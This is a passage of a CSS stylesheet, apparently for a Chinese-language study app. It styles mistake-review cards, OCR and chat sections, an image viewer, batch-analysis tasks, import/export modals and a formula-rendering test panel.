align-items: flex-start;
margin-bottom: 1rem;
gap: 1rem;
}
.info-display .info-row:last-child {
margin-bottom: 0;
}
.info-display .label {
font-weight: 500;
color: #555;
min-width: 100px;
}
.info-display .value {
color: #333;
flex: 1;
}
.info-display .tags {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
}
.edit-form .form-group {
margin-bottom: 1rem;
}
.edit-form .form-group:last-child {
margin-bottom: 0;
}
.edit-form label {
display: block;
margin-bottom: 0.5rem;
font-weight: 500;
color: #555;
}
.edit-form input,
.edit-form select,
.edit-form textarea {
width: 100%;
padding: 0.5rem;
border: 1px solid #e1e5e9;
border-radius: 6px;
font-size: 0.9rem;
}
.ocr-section {
background: #f8f9fa;
border-radius: 8px;
padding: 1.5rem;
}
.ocr-section h3 {
margin: 0 0 1rem 0;
color: #333;
font-size: 1.1rem;
}
.images-section {
background: #f8f9fa;
border-radius: 8px;
padding: 1.5rem;
}
.images-section h3 {
margin: 0 0 1rem 0;
color: #333;
font-size: 1.1rem;
}
.image-group {
margin-bottom: 1.5rem;
}
.image-group:last-child {
margin-bottom: 0;
}
.image-group h4 {
margin: 0 0 0.75rem 0;
color: #555;
font-size: 1rem;
}
.image-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
gap: 1rem;
}
.image-thumbnail {
position: relative;
aspect-ratio: 1;
border-radius: 8px;
overflow: hidden;
cursor: pointer;
transition: transform 0.2s ease;
}
.image-thumbnail:hover {
transform: scale(1.05);
}
.image-thumbnail img {
width: 100%;
height: 100%;
object-fit: cover;
}
.image-overlay {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.7);
color: white;
display: flex;
align-items: center;
justify-content: center;
opacity: 0;
transition: opacity 0.2s ease;
font-size: 0.8rem;
font-weight: 500;
}
.image-error {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
width: 100%;
height: 100%;
background: #f8f9fa;
color: #6c757d;
border: 2px dashed #dee2e6;
border-radius: 4px;
font-size: 0.8rem;
text-align: center;
padding: 1rem;
}
.error-path {
font-size: 0.7rem;
color: #adb5bd;
margin-top: 0.5rem;
word-break: break-all;
max-width: 100%;
}
.images-loading {
display: flex;
align-items: center;
justify-content: center;
padding: 2rem;
color: #6c757d;
font-style: italic;
}
.image-thumbnail:hover .image-overlay {
opacity: 1;
}
.chat-section {
background: #f8f9fa;
border-radius: 8px;
overflow: hidden;
display: flex;
flex-direction: column;
min-height: 500px;
max-height: calc(100vh - 400px);
}
.chat-section h3 {
margin: 0;
padding: 1rem 1.5rem;
background: #e9ecef;
color: #333;
font-size: 1.1rem;
border-bottom: 1px solid #dee2e6;
}
.empty-chat {
text-align: center;
padding: 2rem;
color: #6c757d;
}
.empty-chat p {
margin-bottom: 0.5rem;
}
/* 公式测试组件样式 */
.formula-test {
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.test-header {
display: flex;
align-items: center;
gap: 1rem;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.test-header h2 {
margin: 0;
color: #333;
}
.test-header p {
margin: 0;
color: #666;
font-size: 0.9rem;
}
.test-content {
padding: 1.5rem;
}
.test-controls {
margin-bottom: 2rem;
}
.test-controls h3 {
margin: 0 0 1rem 0;
color: #333;
}
.formula-buttons {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
margin-bottom: 1.5rem;
}
.formula-button {
padding: 0.5rem 1rem;
border: 1px solid #667eea;
border-radius: 6px;
background: white;
color: #667eea;
cursor: pointer;
font-size: 0.9rem;
transition: all 0.3s ease;
}
.formula-button:hover {
background: #667eea;
color: white;
}
.streaming-controls h4 {
margin: 0 0 0.5rem 0;
color: #555;
font-size: 1rem;
}
.streaming-buttons {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
}
.streaming-button {
padding: 0.5rem 1rem;
border: 1px solid #28a745;
border-radius: 6px;
background: white;
color: #28a745;
cursor: pointer;
font-size: 0.9rem;
transition: all 0.3s ease;
}
.streaming-button:hover:not(:disabled) {
background: #28a745;
color: white;
}
.streaming-button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
.custom-input {
margin-bottom: 2rem;
padding: 1.5rem;
background: #f8f9fa;
border-radius: 8px;
}
.custom-input h3 {
margin: 0 0 1rem 0;
color: #333;
}
.test-textarea {
width: 100%;
padding: 0.75rem;
border: 1px solid #e1e5e9;
border-radius: 6px;
font-family: 'Courier New', monospace;
font-size: 0.9rem;
resize: vertical;
margin-bottom: 1rem;
}
.input-buttons {
display: flex;
gap: 0.5rem;
}
.test-results {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 2rem;
margin-bottom: 2rem;
}
.result-section h3 {
margin: 0 0 1rem 0;
color: #333;
display: flex;
align-items: center;
gap: 0.5rem;
}
.streaming-indicator {
font-size: 0.8rem;
color: #28a745;
}
.render-preview {
min-height: 200px;
padding: 1.5rem;
border: 1px solid #e1e5e9;
border-radius: 8px;
background: white;
}
.render-preview.static {
border-left: 4px solid #667eea;
}
.render-preview.streaming {
border-left: 4px solid #28a745;
}
.placeholder {
color: #6c757d;
font-style: italic;
text-align: center;
padding: 2rem;
}
.usage-guide {
padding: 1.5rem;
background: #f8f9fa;
border-radius: 8px;
}
.usage-guide h3 {
margin: 0 0 1rem 0;
color: #333;
}
.syntax-examples {
display: grid;
gap: 1rem;
}
.syntax-item {
padding: 1rem;
background: white;
border-radius: 6px;
border-left: 4px solid #ffc107;
}
.syntax-item strong {
color: #333;
font-size: 0.95rem;
}
.syntax-item code {
background: #f1f3f4;
padding: 0.2rem 0.4rem;
border-radius: 3px;
font-family: 'Courier New', monospace;
font-size: 0.85rem;
}
.syntax-item .example {
margin-top: 0.5rem;
color: #666;
font-size: 0.9rem;
}
@media (max-width: 1200px) {
.test-results {
grid-template-columns: 1fr;
}
}
@media (max-width: 768px) {
.formula-buttons,
.streaming-buttons {
flex-direction: column;
}
.test-results {
gap: 1rem;
}
.input-buttons {
flex-direction: column;
}
}
/* 图片查看器样式 */
.image-viewer-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.9);
z-index: 1000;
display: flex;
align-items: center;
justify-content: center;
}
.image-viewer-container {
position: relative;
width: 100%;
height: 100%;
display: flex;
flex-direction: column;
}
.image-viewer-toolbar {
position: absolute;
top: 20px;
left: 50%;
transform: translateX(-50%);
background: rgba(0, 0, 0, 0.8);
border-radius: 8px;
padding: 0.5rem 1rem;
display: flex;
align-items: center;
gap: 1rem;
z-index: 1001;
}
.toolbar-left,
.toolbar-center,
.toolbar-right {
display: flex;
align-items: center;
gap: 0.5rem;
}
.image-counter {
color: white;
font-size: 0.9rem;
font-weight: 500;
}
.toolbar-button {
background: rgba(255, 255, 255, 0.2);
color: white;
border: none;
border-radius: 4px;
padding: 0.25rem 0.5rem;
cursor: pointer;
font-size: 0.8rem;
transition: background-color 0.2s ease;
}
.toolbar-button:hover {
background: rgba(255, 255, 255, 0.3);
}
.scale-indicator {
color: white;
font-size: 0.8rem;
min-width: 40px;
text-align: center;
}
.close-button {
background: #fee2e2;
color: #dc2626;
border: 1px solid #fca5a5;
border-radius: 4px;
padding: 0.25rem 0.5rem;
cursor: pointer;
font-size: 0.9rem;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.close-button:hover {
background: #fecaca;
border-color: #dc2626;
box-shadow: 0 2px 4px rgba(220, 38, 38, 0.1);
}
.image-viewer-content {
flex: 1;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
}
.viewer-image {
max-width: 90%;
max-height: 90%;
object-fit: contain;
transition: transform 0.1s ease;
user-select: none;
}
.nav-button {
position: absolute;
top: 50%;
transform: translateY(-50%);
background: rgba(0, 0, 0, 0.7);
color: white;
border: none;
border-radius: 50%;
width: 50px;
height: 50px;
font-size: 1.5rem;
cursor: pointer;
transition: background-color 0.2s ease;
z-index: 1001;
}
.nav-button:hover:not(:disabled) {
background: rgba(0, 0, 0, 0.9);
}
.nav-button:disabled {
opacity: 0.3;
cursor: not-allowed;
}
.nav-prev {
left: 20px;
}
.nav-next {
right: 20px;
}
.image-viewer-thumbnails {
position: absolute;
bottom: 20px;
left: 50%;
transform: translateX(-50%);
display: flex;
gap: 0.5rem;
background: rgba(0, 0, 0, 0.8);
border-radius: 8px;
padding: 0.5rem;
z-index: 1001;
}
.thumbnail {
width: 60px;
height: 60px;
border-radius: 4px;
overflow: hidden;
cursor: pointer;
opacity: 0.6;
transition: opacity 0.2s ease;
border: 2px solid transparent;
}
.thumbnail:hover,
.thumbnail.active {
opacity: 1;
border-color: white;
}
.thumbnail img {
width: 100%;
height: 100%;
object-fit: cover;
}
.keyboard-hints {
position: absolute;
bottom: 20px;
right: 20px;
background: rgba(0, 0, 0, 0.8);
border-radius: 8px;
padding: 0.5rem;
z-index: 1001;
}
.hint {
color: white;
font-size: 0.7rem;
margin-bottom: 0.25rem;
}
.hint:last-child {
margin-bottom: 0;
}
/* 模态框样式 */
.modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
z-index: 1000;
display: flex;
align-items: center;
justify-content: center;
padding: 2rem;
}
.modal-container {
background: white;
border-radius: 12px;
max-width: 800px;
width: 100%;
max-height: 90vh;
overflow-y: auto;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
}
/* 数据导入导出样式 */
.data-import-export {
display: flex;
flex-direction: column;
max-height: 90vh;
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.modal-header h3 {
margin: 0;
color: #333;
font-size: 1.3rem;
}
.modal-content {
flex: 1;
padding: 1.5rem;
overflow-y: auto;
}
.section {
margin-bottom: 2rem;
padding: 1.5rem;
background: #f8f9fa;
border-radius: 8px;
border: 1px solid #e1e5e9;
}
.section:last-child {
margin-bottom: 0;
}
.section h4 {
margin: 0 0 0.5rem 0;
color: #333;
font-size: 1.1rem;
}
.section p {
margin: 0 0 1rem 0;
color: #6c757d;
font-size: 0.9rem;
}
.export-options,
.import-options {
margin-bottom: 1rem;
}
.format-selector {
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.5rem;
}
.format-selector label {
font-weight: 500;
color: #555;
}
.format-selector select {
padding: 0.5rem;
border: 1px solid #e1e5e9;
border-radius: 6px;
background: white;
}
.format-description {
font-size: 0.8rem;
color: #6c757d;
font-style: italic;
}
.export-button,
.import-button {
padding: 0.75rem 1.5rem;
background: #667eea;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s ease;
}
.export-button:hover:not(:disabled),
.import-button:hover:not(:disabled) {
background: #5a67d8;
}
.export-button:disabled,
.import-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.file-selector {
margin-bottom: 1rem;
}
.file-selector input[type="file"] {
display: none;
}
.file-label {
display: inline-block;
padding: 0.75rem 1rem;
background: #e9ecef;
color: #495057;
border: 2px dashed #ced4da;
border-radius: 6px;
cursor: pointer;
transition: all 0.3s ease;
text-align: center;
width: 100%;
}
.file-label:hover {
background: #dee2e6;
border-color: #adb5bd;
}
.file-info {
background: #e8f5e8;
border: 1px solid #c3e6cb;
border-radius: 6px;
padding: 0.75rem;
margin-top: 0.5rem;
}
.file-info p {
margin: 0.25rem 0;
font-size: 0.8rem;
color: #155724;
}
.data-stats {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
gap: 1rem;
}
.stat-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.75rem;
background: white;
border-radius: 6px;
border: 1px solid #e1e5e9;
}
.stat-label {
font-weight: 500;
color: #555;
}
.stat-value {
font-weight: 600;
color: #333;
font-size: 1.1rem;
}
.danger-section {
background: #f8d7da !important;
border-color: #f5c6cb !important;
}
.danger-section h4 {
color: #721c24;
}
.danger-section p {
color: #721c24;
}
.modal-footer {
padding: 1.5rem;
background: #f8f9fa;
border-top: 1px solid #e1e5e9;
}
.tips h5 {
margin: 0 0 0.5rem 0;
color: #333;
font-size: 1rem;
}
.tips ul {
margin: 0;
padding-left: 1.5rem;
}
.tips li {
margin-bottom: 0.25rem;
color: #6c757d;
font-size: 0.9rem;
}
/* 批量分析样式 */
.batch-analysis {
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
height: 100%;
display: flex;
flex-direction: column;
}
.batch-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.batch-actions {
display: flex;
gap: 0.5rem;
}
.add-button {
padding: 0.5rem 1rem;
background: #28a745;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s ease;
}
.add-button:hover {
background: #218838;
}
.process-button {
padding: 0.5rem 1rem;
background: #667eea;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s ease;
}
.process-button:hover:not(:disabled) {
background: #5a67d8;
}
.process-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.progress-info {
padding: 1rem 1.5rem;
background: #e3f2fd;
border-bottom: 1px solid #e1e5e9;
}
.progress-text {
text-align: center;
margin-bottom: 0.5rem;
font-weight: 500;
color: #1976d2;
}
.progress-bar {
width: 100%;
height: 8px;
background: #e0e0e0;
border-radius: 4px;
overflow: hidden;
}
.progress-fill {
height: 100%;
background: linear-gradient(90deg, #667eea, #764ba2);
transition: width 0.3s ease;
}
.batch-content {
padding: 1.5rem;
flex: 1;
overflow-y: auto;
min-height: 0;
}
.empty-batch {
text-align: center;
padding: 3rem;
color: #6c757d;
}
.add-first-button {
margin-top: 1rem;
padding: 0.75rem 1.5rem;
background: #667eea;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s ease;
}
.add-first-button:hover {
background: #5a67d8;
}
.batch-summary {
display: flex;
gap: 2rem;
margin-bottom: 2rem;
padding: 1rem;
background: #f8f9fa;
border-radius: 8px;
}
.summary-item {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.25rem;
}
.summary-item .label {
font-size: 0.9rem;
color: #6c757d;
}
.summary-item .value {
font-size: 1.5rem;
font-weight: 600;
color: #333;
}
.tasks-list {
display: flex;
flex-direction: column;
gap: 1rem;
margin-bottom: 2rem;
/* max-height: 60vh; Removed to allow tasks-list to grow within batch-content */
/* overflow-y: auto; Removed, batch-content will handle scrolling */
/* padding-right: 8px; Removed as tasks-list no longer has its own scrollbar */
}
/* 自定义滚动条样式 */
.batch-content::-webkit-scrollbar { /* tasks-list scrollbar styles removed */
width: 8px;
}
.batch-content::-webkit-scrollbar-track { /* tasks-list scrollbar styles removed */
background: #f1f1f1;
border-radius: 4px;
}
.batch-content::-webkit-scrollbar-thumb { /* tasks-list scrollbar styles removed */
background: #c1c1c1;
border-radius: 4px;
}
.batch-content::-webkit-scrollbar-thumb:hover { /* tasks-list scrollbar styles removed */
background: #a8a8a8;
}
/* 批量任务详情模态框样式 */
.batch-task-detail {
width: 90vw;
max-width: 1000px;
max-height: 90vh;
display: flex;
flex-direction: column;
}
.batch-task-detail .modal-body {
flex: 1;
overflow-y: auto;
padding: 1.5rem;
min-height: 0;
}
.batch-task-detail .modal-body::-webkit-scrollbar {
width: 8px;
}
.batch-task-detail .modal-body::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 4px;
}
.batch-task-detail .modal-body::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 4px;
}
.batch-task-detail .modal-body::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
/* 任务信息区块样式 */
.task-info-section {
margin-bottom: 2rem;
padding: 1rem;
background: #f8f9fa;
border-radius: 8px;
}
.info-row {
display: flex;
margin-bottom: 0.75rem;
align-items: flex-start;
}
.info-row:last-child {
margin-bottom: 0;
}
.info-label {
min-width: 100px;
font-weight: 600;
color: #495057;
margin-right: 1rem;
}
.info-value {
flex: 1;
color: #212529;
word-break: break-word;
}
.ocr-result-section,
.error-section,
.chat-section {
margin-top: 1.5rem;
padding: 1rem;
border: 1px solid #dee2e6;
border-radius: 8px;
}
.ocr-result-section h4,
.error-section h4,
.chat-section h4 {
margin: 0 0 1rem 0;
color: #495057;
}
.error-section {
background: #f8d7da;
border-color: #f5c6cb;
}
.error-text {
color: #721c24;
font-weight: 500;
}
.chat-history {
max-height: 400px;
overflow-y: auto;
margin-bottom: 1rem;
padding-right: 8px;
}
.chat-history::-webkit-scrollbar {
width: 6px;
}
.chat-history::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.chat-history::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 3px;
}
.chat-history::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
/* 批量分析详情页面模式样式 */
.batch-detail-page {
height: 100%;
display: flex;
flex-direction: column;
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.detail-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.detail-header h2 {
margin: 0;
color: #333;
font-size: 1.25rem;
}
.detail-content {
flex: 1;
overflow: hidden;
display: flex;
flex-direction: column;
}
.batch-task-detail-page {
height: 100%;
display: flex;
flex-direction: column;
}
.page-container {
flex: 1;
display: flex;
flex-direction: column;
overflow-y: auto;
overflow-x: hidden;
}
.page-body {
flex: 1;
display: flex;
flex-direction: column;
overflow-y: auto;
padding: 1.5rem;
min-height: 0;
}
.page-body::-webkit-scrollbar {
width: 8px;
}
.page-body::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 4px;
}
.page-body::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 4px;
}
.page-body::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
.page-footer {
padding: 1.5rem;
border-top: 1px solid #e1e5e9;
background: #f8f9fa;
display: flex;
justify-content: flex-end;
}
/* 简化的任务状态样式 */
.task-error-simple,
.task-streaming-simple,
.task-completed-simple {
margin-top: 1rem;
padding: 0.75rem;
border-radius: 6px;
font-size: 0.9rem;
}
.task-error-simple {
background: #f8d7da;
border: 1px solid #f5c6cb;
color: #721c24;
}
.task-streaming-simple {
background: #e3f2fd;
border: 1px solid #bbdefb;
color: #1976d2;
}
.task-completed-simple {
background: #d4edda;
border: 1px solid #c3e6cb;
color: #155724;
}
.task-streaming-simple .streaming-indicator {
display: flex;
align-items: center;
gap: 0.5rem;
}
.task-streaming-simple .spinner {
animation: spin 1s linear infinite;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
/* 批量分析详情页面聊天样式 - 与App.tsx完全一致 */
.batch-detail-page .chat-container {
background: white;
border-radius: 12px;
overflow: hidden;
margin-top: 1.5rem;
border: 1px solid #e1e5e9;
}
.batch-detail-page .chat-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.batch-detail-page .chat-header h4 {
margin: 0;
font-size: 1.1rem;
color: #333;
}
.batch-detail-page .chat-header-actions {
display: flex;
align-items: center;
gap: 1rem;
}
.batch-detail-page .chain-indicator {
font-size: 0.9rem;
color: #667eea;
font-weight: 500;
}
.batch-detail-page .chat-history {
max-height: 500px;
overflow-y: auto;
padding: 1rem;
min-height: 200px;
}
.batch-detail-page .chat-history::-webkit-scrollbar {
width: 6px;
}
.batch-detail-page .chat-history::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.batch-detail-page .chat-history::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 3px;
}
.batch-detail-page .chat-history::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
.batch-detail-page .chat-input {
padding: 1rem 1.5rem;
background: #f8f9fa;
border-top: 1px solid #e1e5e9;
display: flex;
gap: 0.5rem;
align-items: center;
}
.batch-detail-page .chat-input input {
flex: 1;
padding: 0.75rem;
border: 1px solid #ddd;
border-radius: 8px;
font-size: 0.9rem;
outline: none;
transition: border-color 0.2s;
}
.batch-detail-page .chat-input input:focus {
border-color: #0369a1;
box-shadow: 0 0 0 2px rgba(3, 105, 161, 0.1);
}
.batch-detail-page .send-button {
padding: 0.75rem 1rem;
background: #667eea;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.2s;
min-width: 60px;
}
.batch-detail-page .send-button:hover:not(:disabled) {
background: #5a67d8;
}
.batch-detail-page .send-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.batch-detail-page .save-button-inline {
padding: 0.75rem 1rem;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e2e8f0;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
margin-left: 0.5rem;
white-space: nowrap;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.batch-detail-page .save-button-inline:hover:not(:disabled) {
background: #e0f2fe;
border-color: #0369a1;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.batch-detail-page .save-button-inline:disabled {
background: #f1f5f9;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
box-shadow: none;
}
/* 消息气泡样式 */
.batch-detail-page .message {
margin-bottom: 1rem;
}
.batch-detail-page .message.assistant {
display: flex;
justify-content: flex-start;
}
.batch-detail-page .message.user {
display: flex;
justify-content: flex-end;
}
.batch-detail-page .message-content {
max-width: 80%;
padding: 0.75rem 1rem;
border-radius: 12px;
word-wrap: break-word;
}
.batch-detail-page .message.assistant .message-content {
background: #f1f3f4;
color: #333;
}
.batch-detail-page .message.user .message-content {
background: #667eea;
color: white;
}
.batch-detail-page .message-content.typing {
background: #f1f3f4;
color: #666;
font-style: italic;
}
.batch-detail-page .typing-indicator {
display: inline-flex;
align-items: center;
gap: 2px;
margin-right: 0.5rem;
}
.batch-detail-page .typing-indicator span {
width: 4px;
height: 4px;
background: #666;
border-radius: 50%;
animation: typing 1.4s infinite ease-in-out;
}
.batch-detail-page .typing-indicator span:nth-child(1) {
animation-delay: -0.32s;
}
.batch-detail-page .typing-indicator span:nth-child(2) {
animation-delay: -0.16s;
}
@keyframes typing {
0%, 80%, 100% {
transform: scale(0.8);
opacity: 0.5;
}
40% {
transform: scale(1);
opacity: 1;
}
}
.task-card {
border: 1px solid #e1e5e9;
border-radius: 8px;
overflow: hidden;
transition: all 0.3s ease;
}
.task-card:hover {
border-color: #667eea;
box-shadow: 0 2px 8px rgba(102, 126, 234, 0.1);
}
.task-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.task-number {
font-weight: 600;
color: #333;
}
.task-status {
font-weight: 500;
padding: 0.25rem 0.5rem;
border-radius: 4px;
font-size: 0.9rem;
}
.remove-button {
padding: 0.25rem 0.5rem;
background: #dc3545;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 0.9rem;
transition: background-color 0.3s ease;
}
.remove-button:hover:not(:disabled) {
background: #c82333;
}
.remove-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.task-form {
padding: 1rem;
}
.task-form .form-group {
margin-bottom: 1rem;
}
.task-form .form-group:last-child {
margin-bottom: 0;
}
.image-count {
margin-top: 0.5rem;
font-size: 0.9rem;
color: #6c757d;
font-style: italic;
}
.task-result {
margin-top: 1rem;
padding: 1rem;
background: #e8f5e8;
border-radius: 6px;
border-left: 4px solid #28a745;
}
.task-result h4 {
margin-bottom: 0.5rem;
color: #155724;
}
.result-preview p {
margin-bottom: 0.25rem;
font-size: 0.9rem;
color: #155724;
}
.task-error {
margin-top: 1rem;
padding: 1rem;
background: #f8d7da;
border-radius: 6px;
border-left: 4px solid #dc3545;
}
.task-error p {
margin: 0;
color: #721c24;
font-size: 0.9rem;
}
.batch-footer {
display: flex;
justify-content: space-between;
padding: 1.5rem;
background: #f8f9fa;
border-top: 1px solid #e1e5e9;
}
.clear-button {
padding: 0.75rem 1.5rem;
background: #6c757d;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s ease;
}
.clear-button:hover {
background: #5a6268;
}
.save-all-button {
padding: 0.75rem 1.5rem;
background: #28a745;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s ease;
}
.save-all-button:hover:not(:disabled) {
background: #218838;
}
.save-all-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
/* 回顾分析样式 */
.review-analysis {
padding: 20px;
max-width: 1200px;
margin: 0 auto;
height: 100%;
overflow-y: auto;
display: flex;
flex-direction: column;
}
.review-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 30px;
padding-bottom: 15px;
border-bottom: 2px solid #e9ecef;
}
.review-header h2 {
margin: 0;
color: #2c3e50;
font-size: 1.8rem;
}
.reset-button {
background: #6c757d;
color: white;
border: none;
padding: 8px 16px;
border-radius: 6px;
cursor: pointer;
font-size: 0.9rem;
transition: background-color 0.2s;
}
.reset-button:hover {
background: #5a6268;
}
/* 错题选择界面 */
.mistake-selection {
display: flex;
flex-direction: column;
gap: 20px;
flex: 1;
overflow-y: auto;
}
.selection-controls {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px;
background: #f8f9fa;
border-radius: 8px;
border: 1px solid #dee2e6;
}
.subject-selector {
display: flex;
align-items: center;
gap: 10px;
}
.subject-selector label {
font-weight: 600;
color: #495057;
}
.subject-selector select {
padding: 8px 12px;
border: 1px solid #ced4da;
border-radius: 4px;
background: white;
font-size: 1rem;
}
.selection-info {
display: flex;
align-items: center;
gap: 15px;
font-weight: 500;
color: #6c757d;
}
.select-all-button {
background: #007bff;
color: white;
border: none;
padding: 6px 12px;
border-radius: 4px;
cursor: pointer;
font-size: 0.9rem;
transition: background-color 0.2s;
}
.select-all-button:hover {
background: #0056b3;
}
/* 错题网格 */
.mistakes-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(350px, 1fr));
gap: 20px;
margin: 20px 0;
}
.mistake-card {
border: 2px solid #e9ecef;
border-radius: 12px;
padding: 16px;
background: white;
cursor: pointer;
transition: all 0.3s ease;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.mistake-card:hover {
border-color: #007bff;
box-shadow: 0 4px 12px rgba(0,123,255,0.15);
transform: translateY(-2px);
}
.mistake-card.selected {
border-color: #28a745;
background: #f8fff9;
box-shadow: 0 4px 12px rgba(40,167,69,0.15);
}
.mistake-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 12px;
}
.mistake-header input[type="checkbox"] {
width: 18px;
height: 18px;
cursor: pointer;
}
.mistake-type {
background: #e9ecef;
color: #495057;
padding: 4px 8px;
border-radius: 4px;
font-size: 0.8rem;
font-weight: 500;
}
.mistake-date {
color: #6c757d;
font-size: 0.85rem;
}
.mistake-content h4 {
margin: 0 0 8px 0;
color: #2c3e50;
font-size: 1.1rem;
line-height: 1.4;
}
.ocr-preview {
color: #6c757d;
font-size: 0.9rem;
line-height: 1.4;
margin: 8px 0;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.tags {
display: flex;
flex-wrap: wrap;
gap: 6px;
margin-top: 10px;
}
.tag {
background: #007bff;
color: white;
padding: 3px 8px;
border-radius: 12px;
font-size: 0.75rem;
font-weight: 500;
}
/* 空状态 */
.empty-mistakes {
text-align: center;
padding: 60px 20px;
color: #6c757d;
}
.empty-mistakes p {
margin: 10px 0;
font-size: 1.1rem;
}
/* 图片上传拖拽区域样式 */
.file-upload-area {
border: 2px dashed #e1e5e9;
border-radius: 8px;
padding: 2rem;
text-align: center;
background: #fafafa;
transition: all 0.3s ease;
position: relative;
cursor: pointer;
/* 🎯 修复：确保上传区域不超出容器 */
max-width: 100%;
box-sizing: border-box;
}
.file-upload-area:hover,
.file-upload-area.drag-over {
border-color: #667eea;
background: #f8f9ff;
}
.upload-content {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.5rem;
}
.upload-icon {
font-size: 2rem;
opacity: 0.7;
}
.upload-text {
color: #666;
font-size: 1rem;
}
.file-input {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
cursor: pointer;
}
/* 图片网格容器 */
.image-grid-container {
margin-top: 1rem;
padding: 1rem;
border: 2px dashed #e1e5e9;
border-radius: 8px;
background: #fafafa;
transition: all 0.3s ease;
}
.image-grid-container.drag-over {
border-color: #667eea;
background: #f8f9ff;
}
.image-grid-scroll {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
gap: 1rem;
max-height: 300px;
overflow-y: auto;
}
/* 图片缩略图容器 */
.image-thumbnail-container {
position: relative;
aspect-ratio: 1;
border-radius: 8px;
overflow: hidden;
cursor: pointer;
transition: transform 0.2s ease;
}
.image-thumbnail-container:hover {
transform: scale(1.05);
}
.image-thumbnail-container .image-thumbnail {
width: 100%;
height: 100%;
object-fit: cover;
border-radius: 8px;
}
.remove-image-btn {
position: absolute;
top: 4px;
right: 4px;
width: 24px;
height: 24px;
background: rgba(220, 53, 69, 0.8);
color: white;
border: none;
border-radius: 50%;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
transition: all 0.2s ease;
}
.remove-image-btn:hover {
background: rgba(220, 53, 69, 1);
transform: scale(1.1);
}
/* 添加图片占位符 */
